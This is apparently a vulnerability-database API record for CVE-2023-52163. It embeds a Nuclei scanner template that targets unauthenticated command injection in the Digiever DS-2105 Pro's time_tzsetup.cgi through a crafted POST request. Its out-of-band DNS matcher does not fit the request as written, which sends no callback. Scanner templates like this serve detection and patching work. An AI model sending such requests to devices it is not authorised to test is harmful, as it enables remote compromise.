{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-52163/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-52163/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-52163/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-52163/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-52163/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-52163"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-52163"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-52163.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2023-52163\n\ninfo:\n  name: Digiever DS-2105 Pro - Command Injection\n  author: rajesh-social-tech\n  severity: high\n  description: |\n    Digiever DS-2105 Pro 3.1.0.71-11 contains a command injection caused by unsanitized input in time_tzsetup.cgi, letting attackers execute arbitrary commands remotely, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary commands on the device, potentially leading to full device compromise.\n  remediation: |\n    Update to a supported version or contact the vendor for security patches.\n  reference:\n    - https://www.txone.com/blog/digiever-fixes-sorely-needed/\n    - https://www.fortiguard.com/encyclopedia/ips/57266\n    - https://github.com/advisories/GHSA-mrvx-3qrr-qqxw\n  metadata:\n    max-request: 1\n    verified: false\n  tags: cve,cve2023,digiever,rce,oast,oob,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/cgi_main.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cgiName=time_tzsetup.cgi&ntp=/etc/digigiver-release&action=4\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(interactsh_protocol,'dns')\n          - contains(header, 'IE=EmulateIE10')\n        condition: and\n# digest: 4b0a00483046022100bfd52b58364a867594919915ecd6c8e55d976f814c4b2c2959ad8cf26b347c40022100b6aeada0d6a19cae73edb2450477b3499821e9f843767d3e5d237cea41848d28:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-52163"
}